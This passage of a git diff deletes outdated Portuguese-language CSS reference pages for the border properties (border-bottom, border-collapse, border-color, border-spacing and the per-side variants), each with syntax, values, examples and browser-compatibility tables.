-<p>{{ languages( { "en": "en/CSS/border-bottom-width", "fr": "fr/CSS/border-bottom-width", "pl": "pl/CSS/border-bottom-width" } ) }}</p>
diff --git a/files/pt-pt/web/css/border-bottom/index.html b/files/pt-pt/web/css/border-bottom/index.html
deleted file mode 100644
index 08da201a5f..0000000000
--- a/files/pt-pt/web/css/border-bottom/index.html
+++ /dev/null
@@ -1,109 +0,0 @@
----
-title: border-bottom
-slug: Web/CSS/border-bottom
-tags:
- - Referencia_CSS
-translation_of: Web/CSS/border-bottom
----
-<p>{{ CSSRef() }}</p>
-
-<h3 id="Resumo" name="Resumo">Resumo</h3>
-
-<p>A propriedade <code>border-bottom</code> é uma propriedade<em>shorthand</em> que configura os valores de {{ Cssxref("border-bottom-color") }}, {{ Cssxref("border-bottom-style") }} e {{ Cssxref("border-bottom-width") }}. Estas propriedades descrevem a borda inferior de elementos.</p>
-
-<ul>
- <li>Valor inicial: veja as propriedades individuais para detalhes</li>
- <li>Aplica-se a: todos os elementos</li>
- <li>Herdado: não</li>
- <li>Porcentagens: N/A</li>
- <li>Mídia: <a href="pt/CSS/Media/Visual">visual</a></li>
- <li>Valor computado: ver propriedades individuais</li>
-</ul>
-
-<h3 id="Sintaxe" name="Sintaxe">Sintaxe</h3>
-
-<pre class="eval">border-bottom: [ &lt;border-width&gt; || &lt;border-style&gt; || &lt;border-color&gt; ] |<em>inherit</em>
-</pre>
-
-<h3 id="Valores" name="Valores">Valores</h3>
-
-<dl>
- <dt>&lt;border-width&gt; </dt>
- <dd>Veja {{ Cssxref("border-bottom-width") }}.</dd>
- <dt>&lt;border-style&gt; </dt>
- <dd>Veja {{ Cssxref("border-bottom-style") }}.</dd>
- <dt>&lt;border-color&gt; </dt>
- <dd>Veja {{ Cssxref("border-bottom-color") }}.</dd>
-</dl>
-
-<h3 id="Exemplos" name="Exemplos">Exemplos</h3>
-
-<p><a href="/samples/cssref/border.html">View Live Examples</a></p>
-
-<pre>element {
- border-bottom-width: 1px solid #000;
-}
-</pre>
-
-<h3 id="Notas" name="Notas">Notas</h3>
-
-<p>Os três valores da propriedade<em>shorthand</em> podem ser especificados em qualquer ordem e um ou dois deles podem ser omitidos.</p>
-
-<p>Como com todas as propriedades<em>shorthand</em>, <code>border-bottom</code> sempre configura os valores de todas as propriedades que ele pode configurar, ainda que elas não sejam especificadas. Ele configura as que não especificadas para os seus valores padrão. De maneira que:</p>
-
-<pre> border-bottom-style: dotted;
- border-bottom: thick green;</pre>
-
-<p>é realmente o mesmo que</p>
-
-<pre> border-bottom-style: dotted;
- border-bottom: none thick green;</pre>
-
-<p>e o valor de {{ Cssxref("border-bottom-style") }} dado antes <code>border-bottom</code> é ignorado.</p>
-
-<p>Desde que o valor padrão de {{ Cssxref("border-bottom-style") }} seja <code>none</code>, não especificar o &lt;border-style&gt; torna o valor, o mesmo que a propriedade especifica na borda.</p>
-
-<h3 id="Especifica.C3.A7.C3.B5es" name="Especifica.C3.A7.C3.B5es">Especificações</h3>
-
-<ul>
- <li><a class="external" href="http://www.w3.org/TR/CSS1#border-bottom">CSS 1</a></li>
- <li><a class="external" href="http://www.w3.org/TR/CSS21/box.html#border-shorthand-properties">CSS 2.1</a></li>
- <li><a class="external" href="http://www.w3.org/TR/css3-background/#the-border-shorthands">CSS 3</a></li>
-</ul>
-
-<h3 id="Compatibilidade_com_navegadores" name="Compatibilidade_com_navegadores">Compatibilidade com navegadores</h3>
-
-<table class="standard-table">
- <tbody>
- <tr>
- <th>Navegador</th>
- <th>Versão mais antiga</th>
- </tr>
- <tr>
- <td>Internet Explorer</td>
- <td>4</td>
- </tr>
- <tr>
- <td>Firefox</td>
- <td>1</td>
- </tr>
- <tr>
- <td>Netscape</td>
- <td>4</td>
- </tr>
- <tr>
- <td>Opera</td>
- <td>3.5</td>
- </tr>
- </tbody>
-</table>
-
-<h3 id="Veja_tamb.C3.A9m" name="Veja_tamb.C3.A9m">Veja também</h3>
-
-<p>{{ Cssxref("border") }}, {{ Cssxref("border-bottom") }}, {{ Cssxref("border-bottom-width") }}, {{ Cssxref("border-bottom-style") }}, {{ Cssxref("border-bottom-color") }},</p>
-
-<p><span class="comment">Categorias</span></p>
-
-<p><span class="comment">Interwiki Language Links</span></p>
-
-<p>{{ languages( { "en": "en/CSS/border-bottom", "fr": "fr/CSS/border-bottom", "pl": "pl/CSS/border-bottom" } ) }}</p>
diff --git a/files/pt-pt/web/css/border-collapse/index.html b/files/pt-pt/web/css/border-collapse/index.html
deleted file mode 100644
index 0f1acaaf50..0000000000
--- a/files/pt-pt/web/css/border-collapse/index.html
+++ /dev/null
@@ -1,87 +0,0 @@
----
-title: border-collapse
-slug: Web/CSS/border-collapse
-tags:
- - Referencia_CSS
-translation_of: Web/CSS/border-collapse
----
-<p>{{ CSSRef() }}</p>
-
-<h3 id="Resumo" name="Resumo">Resumo</h3>
-
-<p>The border-collapse property is used to make the border collapse. This has a big influence on the look and style of the table cells. The rendering of table borders is divided into two categories in CSS2 - "collapsed" and "separated". This property specifies which border rendering mode to use. In the collapsed border model, adjacent table cells share borders. In the separated model, adjacent cells each have their own distinct borders (the distance between them given by the 'border-spacing' property.)</p>
-
-<ul>
- <li>Valor inicial: separate</li>
- <li>Herdado: sim</li>
- <li>Mídia: <a href="pt/CSS/Media/Visual">Visual</a></li>
-</ul>
-
-<h3 id="Sintaxe" name="Sintaxe">Sintaxe</h3>
-
-<pre class="eval">border-collapse: value
-</pre>
-
-<h3 id="Valores" name="Valores">Valores</h3>
-
-<ul>
- <li><strong>inherit</strong> : Explicitly sets the value of this property to that of the parent.</li>
- <li><strong>separate</strong> : Use the "separated borders" rendering model</li>
- <li><strong>collapse</strong> : Use the "collapsed borders" rendering model</li>
-</ul>
-
-<h3 id="Exemplos" name="Exemplos">Exemplos</h3>
-
-<p><a href="/samples/cssref/border-collapse.html">View Live Examples</a></p>
-
-<pre>&lt;table border="1" style="border-collapse: collapse" bordercolor="#111111" width="500"&gt;
-</pre>
-
-<pre>&lt;table border="1" style="border-collapse: separate" bordercolor="#111111" width="500"&gt;
-</pre>
-
-<h3 id="Notas" name="Notas">Notas</h3>
-
-<p>In the "collapsed border" rendering model, the 'border-style' value of "inset" behaves like "groove", and "outset" behaves like "ridge." CSS2 specifies that the initial value for this property is "collapse", but CSS2.1 and Mozilla/Opera all state or behave such that the initial value is "separate."</p>
-
-<h3 id="Especifica.C3.A7.C3.B5es" name="Especifica.C3.A7.C3.B5es">Especificações</h3>
-
-<ul>
- <li><a class="external" href="http://www.w3.org/TR/CSS21/tables.html#collapsing-borders">CSS 2.1</a></li>
- <li><a class="external" href="http://www.w3.org/TR/REC-CSS2/tables.html#borders">CSS 3</a></li>
-</ul>
-
-<h3 id="Compatibilidade_com_navegadores" name="Compatibilidade_com_navegadores">Compatibilidade com navegadores</h3>
-
-<table class="standard-table">
- <tbody>
- <tr>
- <th>Navegador</th>
- <th>Versão mais antiga</th>
- </tr>
- <tr>
- <td>Internet Explorer</td>
- <td>5.5</td>
- </tr>
- <tr>
- <td>Netscape</td>
- <td>7</td>
- </tr>
- <tr>
- <td>Opera</td>
- <td>5</td>
- </tr>
- </tbody>
-</table>
-
-<p> </p>
-
-<h3 id="Veja_tamb.C3.A9m" name="Veja_tamb.C3.A9m">Veja também</h3>
-
-<p>{{ Cssxref("border-collapse") }}, {{ Cssxref("border-spacing") }}</p>
-
-<p><span class="comment">Categorias</span></p>
-
-<p><span class="comment">Interwiki Language Links</span></p>
-
-<p>{{ languages( { "en": "en/CSS/border-collapse", "fr": "fr/CSS/border-collapse" } ) }}</p>
diff --git a/files/pt-pt/web/css/border-color/index.html b/files/pt-pt/web/css/border-color/index.html
deleted file mode 100644
index e97253bd58..0000000000
--- a/files/pt-pt/web/css/border-color/index.html
+++ /dev/null
@@ -1,116 +0,0 @@
----
-title: border-color
-slug: Web/CSS/border-color
-tags:
- - Referencia_CSS
-translation_of: Web/CSS/border-color
----
-<p>{{ CSSRef() }}</p>
-
-<h3 id="Resumo" name="Resumo">Resumo</h3>
-
-<p>A propriedade <code>border-color</code> é muito útil para ajustar a cor dos quatro lados da borda do elemento.</p>
-
-<ul>
- <li>Valor inicial: os elementos da propriedade {{ Cssxref("color") }}</li>
- <li>Aplica-se a: todos os elementos</li>
- <li>Herdado: não</li>
- <li>Porcentagens: N/A</li>
- <li>Mídia: <a href="/pt/CSS/Media/Visual" title="pt/CSS/Media/Visual">visual</a></li>
- <li>Valor computado: O valor computado de <code>color</code> por padrão, ou como especificado.</li>
-</ul>
-
-<h3 id="Sintaxe" name="Sintaxe">Sintaxe</h3>
-
-<pre class="eval">border-color: [ &lt;color&gt; || transparent ]{1,4} | <em>inherit</em>
-</pre>
-
-<h3 id="Valores" name="Valores">Valores</h3>
-
-<dl>
- <dt>&lt;color&gt; </dt>
- <dd>A cor pode ser especificada como um valor RGB hexadecimal, um valor RGB regular ou usando uma das palavras-chave de cores pré-definidas.</dd>
-</dl>
-
-<dl>
- <dt>transparent </dt>
- <dd>A borda não é desenhada, mas ainda continua ocupando espaço na página.</dd>
-</dl>
-
-<p>Até quatro valores podem ser fornecidos;</p>
-
-<p>Se um valor de cor é fornecido, então todas as quatros bordas ficam daquela cor.<br>
- Se dois valores são fornecidos, as bordas inferior e superior utilizam-se do primeiro valor e as esquerda e direita do segundo valor.<br>
- Se três valores são fornecidos, o primeiro é para a borda superior, o segundo para a esquerda e direita e o terceiro para a inferior.<br>
- Se quatro valores são dados, o primeiro é para a borda superior, o segundo para a direita, o terceiro para a inferior e o quarto para a esquerda.</p>
-
-<h3 id="Exemplos" name="Exemplos">Exemplos</h3>
-
-<p><a href="/samples/cssref/border.html">View Live Examples</a></p>
-
-<pre>element {
- border-width: 1px;
- border-style: solid;
- border-color: black;
-}
-</pre>
-
-<h3 id="Notas" name="Notas">Notas</h3>
-
-<p>No caso de querer ver a borda, você deve ajustar o {{ Cssxref("border-width") }} para um valor positivo e o {{ Cssxref("border-style") }} para algo visível.</p>
-
-<h3 id="Especifica.C3.A7.C3.B5es" name="Especifica.C3.A7.C3.B5es">Especificações</h3>
-
-<ul>
- <li><a class="external" href="http://www.w3.org/TR/CSS1#border-color">CSS 1</a></li>
- <li><a class="external" href="http://www.w3.org/TR/CSS21/box.html#border-color-properties">CSS 2.1</a></li>
- <li><a class="external" href="http://www.w3.org/TR/css3-background/#the-border-color">CSS 3</a></li>
-</ul>
-
-<h3 id="Compatibilidade_com_navegadores" name="Compatibilidade_com_navegadores">Compatibilidade com navegadores</h3>
-
-<table class="standard-table">
- <tbody>
- <tr>
- <th>Navegador</th>
- <th>Versão mais antiga</th>
- </tr>
- <tr>
- <td>Internet Explorer</td>
- <td>4</td>
- </tr>
- <tr>
- <td>Firefox</td>
- <td>1</td>
- </tr>
- <tr>
- <td>Netscape</td>
- <td>4</td>
- </tr>
- <tr>
- <td>Opera</td>
- <td>3.5</td>
- </tr>
- </tbody>
-</table>
-
-<h3 id="Extens.C3.B5es_Mozilla" name="Extens.C3.B5es_Mozilla">Extensões Mozilla</h3>
-
-<p>As seguintes Extensões da Mozilla ajustam os respectivos lados da borda para múltiplas cores para navegadores Gecko.</p>
-
-<ul>
- <li>{{ Cssxref("-moz-border-bottom-colors") }}</li>
- <li>{{ Cssxref("-moz-border-left-colors") }}</li>
- <li>{{ Cssxref("-moz-border-right-colors") }}</li>
- <li>{{ Cssxref("-moz-border-top-colors") }}</li>
-</ul>
-
-<h3 id="Veja_tamb.C3.A9m" name="Veja_tamb.C3.A9m">Veja também</h3>
-
-<p>{{ Cssxref("border") }}, {{ Cssxref("border-color") }}, {{ Cssxref("border-width") }}, {{ Cssxref("border-style") }}</p>
-
-<p><span class="comment">Categorias</span></p>
-
-<p><span class="comment">Interwiki Language Links</span></p>
-
-<p>{{ languages( { "en": "en/CSS/border-color", "fr": "fr/CSS/border-color", "pl": "pl/CSS/border-color" } ) }}</p>
diff --git a/files/pt-pt/web/css/border-left-color/index.html b/files/pt-pt/web/css/border-left-color/index.html
deleted file mode 100644
index f358f01aa0..0000000000
--- a/files/pt-pt/web/css/border-left-color/index.html
+++ /dev/null
@@ -1,16 +0,0 @@
----
-title: border-left-color
-slug: Web/CSS/border-left-color
-tags:
- - Referencia_CSS
-translation_of: Web/CSS/border-left-color
----
-<p>
-{{ CSSRef() }}
-</p>
-<h3 id="Resumo" name="Resumo"> Resumo </h3>
-<p><code>border-left-color</code> configura a cor da borda esquerda de um elemento.
-</p><p>Veja a propriedade <code><a href="pt/CSS/border-bottom-color">border-bottom-color</a></code> para mais informações.
-</p><p><span class="comment">Categorias</span>
-</p><p><span class="comment">Interwiki Language Links</span>
-</p>{{ languages( { "en": "en/CSS/border-left-color", "fr": "fr/CSS/border-left-color", "pl": "pl/CSS/border-left-color" } ) }}
diff --git a/files/pt-pt/web/css/border-left-style/index.html b/files/pt-pt/web/css/border-left-style/index.html
deleted file mode 100644
index f482151b58..0000000000
--- a/files/pt-pt/web/css/border-left-style/index.html
+++ /dev/null
@@ -1,16 +0,0 @@
----
-title: border-left-style
-slug: Web/CSS/border-left-style
-tags:
- - Referencia_CSS
-translation_of: Web/CSS/border-left-style
----
-<p>
-{{ CSSRef() }}
-</p>
-<h3 id="Resumo" name="Resumo"> Resumo </h3>
-<p><code>border-left-style</code> configura o estilo da linha da borda esquerda de uma caixa.
-</p><p>Veja a propriedade <code><a href="pt/CSS/border-bottom-style">border-bottom-style</a></code> para mais informações.
-</p><p><span class="comment">Categorias</span>
-</p><p><span class="comment">Interwiki Language Links</span>
-</p>{{ languages( { "en": "en/CSS/border-left-style", "fr": "fr/CSS/border-left-style" } ) }}
diff --git a/files/pt-pt/web/css/border-left-width/index.html b/files/pt-pt/web/css/border-left-width/index.html
deleted file mode 100644
index caf87d5d71..0000000000
--- a/files/pt-pt/web/css/border-left-width/index.html
+++ /dev/null
@@ -1,16 +0,0 @@
----
-title: border-left-width
-slug: Web/CSS/border-left-width
-tags:
- - Referencia_CSS
-translation_of: Web/CSS/border-left-width
----
-<p>
-{{ CSSRef() }}
-</p>
-<h3 id="Resumo" name="Resumo"> Resumo </h3>
-<p><code>border-left-width</code> configura a largura da borda esquerda de um elemento.
-</p><p>Veja a propriedade <code><a href="pt/CSS/border-bottom-width">border-bottom-width</a></code> para mais informações.
-</p><p><span class="comment">Categorias</span>
-</p><p><span class="comment">Interwiki Language Links</span>
-</p>{{ languages( { "en": "en/CSS/border-left-width", "fr": "fr/CSS/border-left-width" } ) }}
diff --git a/files/pt-pt/web/css/border-left/index.html b/files/pt-pt/web/css/border-left/index.html
deleted file mode 100644
index e0cd0e9f6f..0000000000
--- a/files/pt-pt/web/css/border-left/index.html
+++ /dev/null
@@ -1,50 +0,0 @@
----
-title: border-left
-slug: Web/CSS/border-left
-tags:
- - Referencia_CSS
-translation_of: Web/CSS/border-left
----
-<p>
-{{ CSSRef() }}
-</p>
-<h3 id="Resumo" name="Resumo"> Resumo </h3>
-<p>A propriedade <code>border-left</code> é uma propriedade <i>shorthand</i> para configurar a largura, estilo e cor da borda esquerda de uma caixa. Esta propriedade pode ser usada para configurar um ou mais valores de {{ Cssxref("border-left-width") }}, {{ Cssxref("border-left-style") }} e {{ Cssxref("border-left-color") }}. Valores omitidos são configurados com o valor inicial.
-</p>
-<ul><li> Valor inicial: veja as propriedades individuais para detalhes
-</li><li> Aplica-se a: todos os elementos
-</li><li> Herdado: não
-</li><li> Porcentagens: N/A
-</li><li> Mídia: <a href="pt/CSS/Media/Visual">visual</a>
-</li><li> Valor computado: veja propriedades individuais
-</li></ul>
-<h3 id="Sintaxe" name="Sintaxe"> Sintaxe </h3>
-<pre class="eval">border-left: [<i>border-width</i> || <i>border-style</i> || <i>border-color</i> | <i>inherit</i>] ;
-</pre>
-<h3 id="Valores" name="Valores"> Valores </h3>
-<dl><dt> border-width </dt><dd> Veja {{ Cssxref("border-width") }}.
-</dd><dt> border-style </dt><dd> Veja {{ Cssxref("border-style") }}.
-</dd><dt> border-color </dt><dd> Veja {{ Cssxref("border-color") }}.
-</dd></dl>
-<h3 id="Exemplos" name="Exemplos"> Exemplos </h3>
-<pre>element {
- border-left: 1px solid #000;
-}
-</pre>
-<h3 id="Notas" name="Notas"> Notas </h3>
-<p>Se a regra não especificar uma cor de borda, a borda terá a cor especificada pela propriedade {{ Cssxref("color") }}.
-</p>
-<h3 id="Especifica.C3.A7.C3.B5es" name="Especifica.C3.A7.C3.B5es"> Especificações </h3>
-<ul><li> <a class="external" href="http://www.w3.org/TR/CSS1#border-left">CSS 1</a>
-</li><li> <a class="external" href="http://www.w3.org/TR/CSS21/box.html#propdef-border-left">CSS 2.1</a>
-</li><li> <a class="external" href="http://www.w3.org/TR/css3-background/#the-border-shorthands">CSS 3</a>
-</li></ul>
-<h3 id="Compatibilidade_com_navegadores" name="Compatibilidade_com_navegadores"> Compatibilidade com navegadores </h3>
-<table class="standard-table"> <tbody><tr> <th>Navegador</th> <th>Versão mais antiga</th> </tr> <tr> <td>Internet Explorer</td> <td>4</td> </tr> <tr> <td>Firefox</td> <td>1</td> </tr> <tr> <td>Netscape</td> <td>4</td> </tr> <tr> <td>Opera</td> <td>3.5</td> </tr>
-</tbody></table>
-<h3 id="Veja_tamb.C3.A9m" name="Veja_tamb.C3.A9m"> Veja também </h3>
-<p>{{ Cssxref("border") }},
-{{ Cssxref("border-left") }}
-</p><p><span class="comment">Categorias</span>
-</p><p><span class="comment">Interwiki Language Links</span>
-</p>{{ languages( { "en": "en/CSS/border-left", "fr": "fr/CSS/border-left", "pl": "pl/CSS/border-left" } ) }}
diff --git a/files/pt-pt/web/css/border-right-color/index.html b/files/pt-pt/web/css/border-right-color/index.html
deleted file mode 100644
index 9a58ad9d69..0000000000
--- a/files/pt-pt/web/css/border-right-color/index.html
+++ /dev/null
@@ -1,16 +0,0 @@
----
-title: border-right-color
-slug: Web/CSS/border-right-color
-tags:
- - Referencia_CSS
-translation_of: Web/CSS/border-right-color
----
-<p>
-{{ CSSRef() }}
-</p>
-<h3 id="Resumo" name="Resumo"> Resumo </h3>
-<p><code>border-right-color</code> configura a cor da borda direita de um elemento.
-</p><p>Veja a propriedade <code><a href="pt/CSS/border-bottom-color">border-bottom-color</a></code> para mais informações.
-</p><p><span class="comment">Categorias</span>
-</p><p><span class="comment">Interwiki Language Links</span>
-</p>{{ languages( { "en": "en/CSS/border-right-color", "fr": "fr/CSS/border-right-color", "pl": "pl/CSS/border-right-color" } ) }}
diff --git a/files/pt-pt/web/css/border-right-style/index.html b/files/pt-pt/web/css/border-right-style/index.html
deleted file mode 100644
index 0aa34c58bd..0000000000
--- a/files/pt-pt/web/css/border-right-style/index.html
+++ /dev/null
@@ -1,16 +0,0 @@
----
-title: border-right-style
-slug: Web/CSS/border-right-style
-tags:
- - Referencia_CSS
-translation_of: Web/CSS/border-right-style
----
-<p>
-{{ CSSRef() }}
-</p>
-<h3 id="Resumo" name="Resumo"> Resumo </h3>
-<p><code>border-right-style</code> configura o estilo da linha da borda direita de uma caixa.
-</p><p>Veja a propriedade <code><a href="pt/CSS/border-bottom-style">border-bottom-style</a></code> para mais informações.
-</p><p><span class="comment">Categorias</span>
-</p><p><span class="comment">Interwiki Language Links</span>
-</p>{{ languages( { "en": "en/CSS/border-right-style", "fr": "fr/CSS/border-right-style" } ) }}
diff --git a/files/pt-pt/web/css/border-right-width/index.html b/files/pt-pt/web/css/border-right-width/index.html
deleted file mode 100644
index 60840f3117..0000000000
--- a/files/pt-pt/web/css/border-right-width/index.html
+++ /dev/null
@@ -1,16 +0,0 @@
----
-title: border-right-width
-slug: Web/CSS/border-right-width
-tags:
- - Referencia_CSS
-translation_of: Web/CSS/border-right-width
----
-<p>
-{{ CSSRef() }}
-</p>
-<h3 id="Resumo" name="Resumo"> Resumo </h3>
-<p><code>border-right-width</code> configura a largura da borda direita de uma caixa.
-</p><p>Veja a propriedade <code><a href="pt/CSS/border-bottom-width">border-bottom-width</a></code> para mais informações.
-</p><p><span class="comment">Categorias</span>
-</p><p><span class="comment">Interwiki Language Links</span>
-</p>{{ languages( { "en": "en/CSS/border-right-width", "fr": "fr/CSS/border-right-width" } ) }}
diff --git a/files/pt-pt/web/css/border-right/index.html b/files/pt-pt/web/css/border-right/index.html
deleted file mode 100644
index 964e932736..0000000000
--- a/files/pt-pt/web/css/border-right/index.html
+++ /dev/null
@@ -1,49 +0,0 @@
----
-title: border-right
-slug: Web/CSS/border-right
-tags:
- - Referencia_CSS
-translation_of: Web/CSS/border-right
----
-<p>
-{{ CSSRef() }}
-</p>
-<h3 id="Resumo" name="Resumo"> Resumo </h3>
-<p>A propriedade <code>border-right</code> é uma propriedade <i>shorthand</i> para configurar a largura, estilo e cor da borda esquerda de uma caixa. Esta propriedade pode ser usada para configurar um ou mais valores de {{ Cssxref("border-right-width") }}, {{ Cssxref("border-right-style") }} e {{ Cssxref("border-right-color") }}. Valores omitidos são configurados com o valor inicial.
-</p>
-<ul><li> Valor inicial: veja as propriedades individuais para detalhes
-</li><li> Aplica-se a: todos os elementos
-</li><li> Herdado: não
-</li><li> Porcentagens: N/A
-</li><li> Mídia: <a href="pt/CSS/Media/Visual">visual</a>
-</li><li> Valor computado: veja as propriedades individuais
-</li></ul>
-<h3 id="Sintaxe" name="Sintaxe"> Sintaxe </h3>
-<pre class="eval">border-right: [<i>border-width</i> || <i>border-style</i> || <i>border-color</i> | <i>inherit</i>] ;
-</pre>
-<h3 id="Valores" name="Valores"> Valores </h3>
-<dl><dt> border-width </dt><dd> Veja {{ Cssxref("border-width") }}.
-</dd><dt> border-style </dt><dd> Veja {{ Cssxref("border-style") }}.
-</dd><dt> border-color </dt><dd> Veja {{ Cssxref("border-color") }}.
-</dd></dl>
-<h3 id="Exemplos" name="Exemplos"> Exemplos </h3>
-<pre>element {
- border-right: 1px solid #000;
-}
-</pre>
-<h3 id="Notas" name="Notas"> Notas </h3>
-<p>Se a regra não especificar uma cor de borda, a borda terá a cor especificada pela propriedade {{ Cssxref("color") }}.
-</p>
-<h3 id="Especifica.C3.A7.C3.B5es" name="Especifica.C3.A7.C3.B5es"> Especificações </h3>
-<ul><li> <a class="external" href="http://www.w3.org/TR/CSS1#border-right">CSS 1</a>
-</li><li> <a class="external" href="http://www.w3.org/TR/CSS21/box.html#propdef-border-right">CSS 2.1</a>
-</li><li> <a class="external" href="http://www.w3.org/TR/css3-background/#the-border-shorthands">CSS 3</a>
-</li></ul>
-<p><span class="comment">== Compatibilidade com navegadores ==</span>
-</p>
-<h3 id="Veja_tamb.C3.A9m" name="Veja_tamb.C3.A9m"> Veja também </h3>
-<p>{{ Cssxref("border") }},
-{{ Cssxref("border-right") }}
-</p><p><span class="comment">Categorias</span>
-</p><p><span class="comment">Interwiki Language Links</span>
-</p>{{ languages( { "en": "en/CSS/border-right", "fr": "fr/CSS/border-right", "pl": "pl/CSS/border-right" } ) }}
diff --git a/files/pt-pt/web/css/border-spacing/index.html b/files/pt-pt/web/css/border-spacing/index.html
deleted file mode 100644
index 36747dc64d..0000000000
--- a/files/pt-pt/web/css/border-spacing/index.html
+++ /dev/null
@@ -1,100 +0,0 @@
----
-title: border-spacing
-slug: Web/CSS/border-spacing
-tags:
- - Referencia_CSS
-translation_of: Web/CSS/border-spacing
----
-<p>{{ CSSRef() }}</p>
-
-<h3 id="Resumo" name="Resumo">Resumo</h3>
-
-<p>The border-spacing property specifies the distance between the borders of adjacent cells (only for the <a href="pt/CSS/border-collapse">separated borders model</a>). This is equivalent to the cellspacing attribute in presentational HTML.</p>
-
-<ul>
- <li>Valor inicial: 0</li>
- <li>Aplica-se a: tabelas e tabelas em linha</li>
- <li>Herdado: sim</li>
- <li>Mídia: <a href="pt/CSS/Media/Visual">Visual</a></li>
- <li>Valor computado: dois comprimentos absolutos</li>
-</ul>
-
-<h3 id="Sintaxe" name="Sintaxe">Sintaxe</h3>
-
-<p>border-spacing: &lt;length&gt; | &lt;length&gt; &lt;length&gt; | inherit</p>
-
-<h3 id="Valores" name="Valores">Valores</h3>
-
-<ul>
- <li><strong>&lt;length&gt;</strong> : A length to be used for both horizontal and vertical border spacing.</li>
- <li><strong>&lt;length&gt; &lt;length&gt;</strong> : The first length gives the horizontal spacing (space between cells in adjacent columns) and the second length gives the vertical spacing (space between cells in adjacent rows).</li>
-</ul>
-
-<h3 id="Exemplos" name="Exemplos">Exemplos</h3>
-
-<p><a href="/samples/cssref/border-spacing.html">View Live Examples</a></p>
-
-<pre>table#space {
- border-collapse: separate;
- border-spacing: 10px 5px;
-}
-</pre>
-
-<h3 id="Notas" name="Notas">Notas</h3>
-
-<p>This property applies only when {{ Cssxref("border-collapse") }} is "separate".</p>
-
-<p>The border-spacing is also used along the outside edge of the table, where the distance between the table's border and the cells in the first/last column or row is the sum of the relevant (horizontal or vertical) border-spacing and the relevant (top, right, bottom, or left) padding on the table.</p>
-
-<h3 id="Especifica.C3.A7.C3.B5es" name="Especifica.C3.A7.C3.B5es">Especificações</h3>
-
-<ul>
- <li><a class="external" href="http://www.w3.org/TR/CSS21/tables.html#propdef-border-spacing">CSS 2.1</a></li>
-</ul>
-
-<h3 id="Compatibilidade_com_navegadores" name="Compatibilidade_com_navegadores">Compatibilidade com navegadores</h3>
-
-<table class="standard-table">
- <tbody>
- <tr>
- <th>Navegador</th>
- <th>Versão mais antiga</th>
- </tr>
- <tr>
- <td>Netscape</td>
- <td>6</td>
- </tr>
- <tr>
- <td>Internet Explorer</td>
- <td>7</td>
- </tr>
- <tr>
- <td>Firefox</td>
- <td>1</td>
- </tr>
- <tr>
- <td>Mozilla</td>
- <td>1</td>
- </tr>
- <tr>
- <td>Safari</td>
- <td>1</td>
- </tr>
- <tr>
- <td>Opera</td>
- <td>6</td>
- </tr>
- </tbody>
-</table>
-
-<p> </p>
-
-<h3 id="Veja_tamb.C3.A9m" name="Veja_tamb.C3.A9m">Veja também</h3>
-
-<p>{{ Cssxref("border-collapse") }}, {{ Cssxref("border-spacing") }}</p>
-
-<p><span class="comment">Categorias</span></p>
-
-<p><span class="comment">Interwiki Language Links</span></p>
-
-<p>{{ languages( { "en": "en/CSS/border-spacing", "fr": "fr/CSS/border-spacing" } ) }}</p>
diff --git a/files/pt-pt/web/css/border-top-color/index.html b/files/pt-pt/web/css/border-top-color/index.html
deleted file mode 100644
index 5df05465a6..0000000000
--- a/files/pt-pt/web/css/border-top-color/index.html
+++ /dev/null
@@ -1,16 +0,0 @@
----
-title: border-top-color
-slug: Web/CSS/border-top-color
-tags:
- - Referencia_CSS
-translation_of: Web/CSS/border-top-color
----
-<p>
-{{ CSSRef() }}
-</p>
-<h3 id="Resumo" name="Resumo"> Resumo </h3>
-<p><code>border-top-color</code> configura a cor da borda superior de um elemento.
-</p><p>Veja a propriedade <code><a href="pt/CSS/border-bottom-color">border-bottom-color</a></code> para mais informações.
-</p><p><span class="comment">Categorias</span>
-</p><p><span class="comment">Interwiki Language Links</span>
-</p>{{ languages( { "en": "en/CSS/border-top-color", "fr": "fr/CSS/border-top-color" } ) }}
diff --git a/files/pt-pt/web/css/border-top-style/index.html b/files/pt-pt/web/css/border-top-style/index.html
deleted file mode 100644
index b5132d5a35..0000000000
--- a/files/pt-pt/web/css/border-top-style/index.html
+++ /dev/null
@@ -1,16 +0,0 @@
----
-title: border-top-style
-slug: Web/CSS/border-top-style
-tags:
- - Referencia_CSS
-translation_of: Web/CSS/border-top-style
----
-<p>
-{{ CSSRef() }}
-</p>
-<h3 id="Resumo" name="Resumo"> Resumo </h3>
-<p><code>border-top-style</code> configura o estilo da linha da borda superior de uma caixa.
-</p><p>Veja a propriedade <code><a href="pt/CSS/border-bottom-style">border-bottom-style</a></code> para mais informações.
-</p><p><span class="comment">Categorias</span>
-</p><p><span class="comment">Interwiki Language Links</span>
-</p>{{ languages( { "en": "en/CSS/border-top-style", "fr": "fr/CSS/border-top-style" } ) }}
diff --git a/files/pt-pt/web/css/border-top-width/index.html b/files/pt-pt/web/css/border-top-width/index.html
deleted file mode 100644
index 45fcd9b374..0000000000
--- a/files/pt-pt/web/css/border-top-width/index.html
+++ /dev/null
@@ -1,16 +0,0 @@
----
-title: border-top-width
-slug: Web/CSS/border-top-width
-tags:
- - Referencia_CSS
-translation_of: Web/CSS/border-top-width
----
-<p>
-{{ CSSRef() }}
-</p>
-<h3 id="Resumo" name="Resumo"> Resumo </h3>
-<p><code>border-top-width</code> configura a largura da borda superiror de uma caixa.
-</p><p>Veja a propriedade <code><a href="pt/CSS/border-bottom-width">border-bottom-width</a></code> para mais informações.
-</p><p><span class="comment">Categorias</span>
-</p><p><span class="comment">Interwiki Language Links</span>
-</p>{{ languages( { "en": "en/CSS/border-top-width", "fr": "fr/CSS/border-top-width" } ) }}
diff --git a/files/pt-pt/web/css/border-top/index.html b/files/pt-pt/web/css/border-top/index.html
deleted file mode 100644
index d284e0bc7a..0000000000
--- a/files/pt-pt/web/css/border-top/index.html
+++ /dev/null
@@ -1,49 +0,0 @@
----
-title: border-top
-slug: Web/CSS/border-top
-tags:
- - Referencia_CSS
-translation_of: Web/CSS/border-top
----
-<p>
-{{ CSSRef() }}
-</p>
-<h3 id="Resumo" name="Resumo"> Resumo </h3>
-<p>A propriedade <code>border-top</code> é uma propriedade <i>shorthand</i> para configurar a largura, estilo e cor da borda esquerda de uma caixa. Esta propriedade pode ser usada para configurar um ou mais valores de {{ Cssxref("border-top-width") }}, {{ Cssxref("border-top-style") }} e {{ Cssxref("border-top-color") }}. Valores omitidos são configurados com o falor inicial.
-</p>
-<ul><li> Valor inicial: veja as propriedades individuais para detalhes
-</li><li> Aplica-se a: todos os elementos
-</li><li> Herdado: não
-</li><li> Porcentagens: N/A
